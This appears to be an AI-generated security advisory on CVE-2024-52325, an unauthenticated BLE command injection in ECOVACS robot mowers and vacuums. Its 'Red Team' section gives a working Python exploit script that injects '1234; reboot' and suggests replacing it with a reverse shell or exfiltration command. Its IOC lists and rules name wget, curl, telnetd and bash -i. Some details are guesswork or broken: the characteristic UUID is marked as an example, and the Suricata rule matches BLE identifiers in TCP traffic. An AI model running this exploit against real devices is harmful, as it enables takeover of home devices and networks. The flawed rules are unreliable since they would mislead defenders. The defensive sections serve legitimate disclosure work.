CVE-2024-52325

Executive Summary

CVE-2024-52325 exposes a critical command injection vulnerability in ECOVACS robot lawnmowers and vacuums. The flaw resides in the SetNetPin() function, which is accessible over an unauthenticated Bluetooth Low Energy (BLE) connection. An attacker within BLE range (typically up to 100 meters) can inject arbitrary commands without any authentication, leading to full device compromise. This includes potential lateral movement into home networks, data exfiltration, and physical manipulation of the device (e.g., disabling safety features on lawnmowers). The vulnerability is unpatched, and public proof-of-concept (PoC) code exists, elevating the risk for ECOVACS device owners.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in IoT devices. However, the supply chain risk includes compromised devices being used as entry points into home or enterprise networks, and the lack of a patch means all current firmware versions are affected.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network (BLE range)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Threat Level: High. The combination of unauthenticated access, low complexity, and no user interaction makes this highly exploitable. Public PoC code further increases the threat.

Deep Dive & Mechanics

The vulnerability exists in the BLE service handler of ECOVACS devices. The SetNetPin() function is intended to allow configuration of Wi-Fi credentials via BLE. However, it fails to sanitize user input, allowing an attacker to inject arbitrary shell commands. The BLE connection does not require authentication, meaning any device within radio range can connect and send malicious payloads.

Attack Flow:

1. Attacker scans for BLE devices advertising as ECOVACS (e.g., service UUID 0000fd50-0000-1000-8000-00805f9b34fb).
2. Attacker connects to the device without authentication.
3. Attacker writes to the characteristic corresponding to SetNetPin() with a payload containing command injection, e.g., 1234; reboot.
4. The device executes the injected command with root privileges, allowing full control.

Impact:

• Robot Lawnmowers: Attacker can disable safety sensors, change boundary settings, or cause physical damage.
• Robot Vacuums: Attacker can access the camera (if present), exfiltrate floor plans, or use the device as a pivot point into the home network.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void SetNetPin(char *pin) {
    char cmd[256];
    sprintf(cmd, "echo %s > /tmp/netpin", pin);
    system(cmd);
}

The pin input is directly concatenated into a shell command without sanitization.

Patched Code (Conceptual):

void SetNetPin(char *pin) {
    // Validate pin format (e.g., only alphanumeric)
    if (!isValidPin(pin)) {
        return;
    }
    // Use safe API instead of system()
    writeToFile("/tmp/netpin", pin);
}

The patched version validates input and avoids shell execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A computer with Bluetooth 4.0+ (e.g., Raspberry Pi, laptop with USB BLE dongle).
• Python 3 with bleak library (pip install bleak).
• An ECOVACS device within BLE range.

Exploit Script:

import asyncio
from bleak import BleakScanner, BleakClient

ECOVACS_SERVICE_UUID = "0000fd50-0000-1000-8000-00805f9b34fb"
SET_NET_PIN_CHAR_UUID = "0000fd51-0000-1000-8000-00805f9b34fb"  # Example

async def exploit():
    devices = await BleakScanner.discover()
    target = None
    for d in devices:
        if ECOVACS_SERVICE_UUID in d.metadata.get("uuids", []):
            target = d
            break
    if not target:
        print("No ECOVACS device found")
        return

    async with BleakClient(target.address) as client:
        # Command injection payload: set pin and reboot
        payload = b"1234; reboot"
        await client.write_gatt_char(SET_NET_PIN_CHAR_UUID, payload)
        print("Exploit sent")

asyncio.run(exploit())

Usage: Run the script within BLE range. The device will execute the injected command (e.g., reboot). For more advanced attacks, replace reboot with a reverse shell or data exfiltration command.

Blue Team (Detection & Hardening)

Detection:

• Monitor BLE connections to ECOVACS devices. Unexpected connections from unknown MAC addresses are suspicious.
• Log all SetNetPin() calls on the device (if possible via firmware modification).
• Use network monitoring to detect unusual outbound traffic from the device (e.g., connections to unknown IPs).

Hardening:

• Disable BLE when not in use (if device allows).
• Place device in a Faraday cage or physically isolate it.
• Apply network segmentation: place IoT devices on a separate VLAN with strict egress filtering.
• Monitor for firmware updates from ECOVACS (though none exist yet).

Indicators of Compromise (IOCs)

• BLE Service UUID: 0000fd50-0000-1000-8000-00805f9b34fb
• BLE Characteristic UUID: 0000fd51-0000-1000-8000-00805f9b34fb (SetNetPin)
• Suspicious Commands: reboot, wget, curl, telnetd, bash -i
• Network IOCs: Outbound connections to unknown IPs on ports 4444 (reverse shell), 80/443 (data exfiltration).
• File IOCs: /tmp/netpin containing shell metacharacters (;, |, &).

Detection Engineering

YARA Rule

rule CVE_2024_52325_ECOVACS_BLE_CMD_INJECTION {
    meta:
        description = "Detects command injection payloads targeting ECOVACS SetNetPin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-52325"
    strings:
        $cmd_inject = /[a-zA-Z0-9]+[;|&`$()]/
        $ble_service = "fd50"
        $ble_char = "fd51"
    condition:
        $cmd_inject and ($ble_service or $ble_char)
}

Sigma Rule

title: CVE-2024-52325 ECOVACS BLE Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts against ECOVACS devices via BLE
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - "echo"
            - "reboot"
            - "wget"
            - "curl"
        ParentImage|endswith: "bluetoothd"
    condition: selection
falsepositives:
    - Legitimate ECOVACS app usage (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52325 ECOVACS BLE Command Injection - Outbound Reverse Shell"; flow:to_server; content:"|00 00 00 00|"; depth:4; content:"|fd 50|"; distance:0; within:2; content:"|fd 51|"; distance:0; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE on the device if not required (check device settings).
2. Isolate the device on a separate VLAN with no internet access.
3. Monitor BLE traffic for unauthorized connections.
4. Apply physical security (e.g., place device in a shielded enclosure).

Long-Term:

• ECOVACS must release a firmware patch that sanitizes input to SetNetPin() and requires BLE authentication.
• Users should pressure ECOVACS for a fix and consider replacing the device if no patch is forthcoming.
• Implement network segmentation for all IoT devices.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.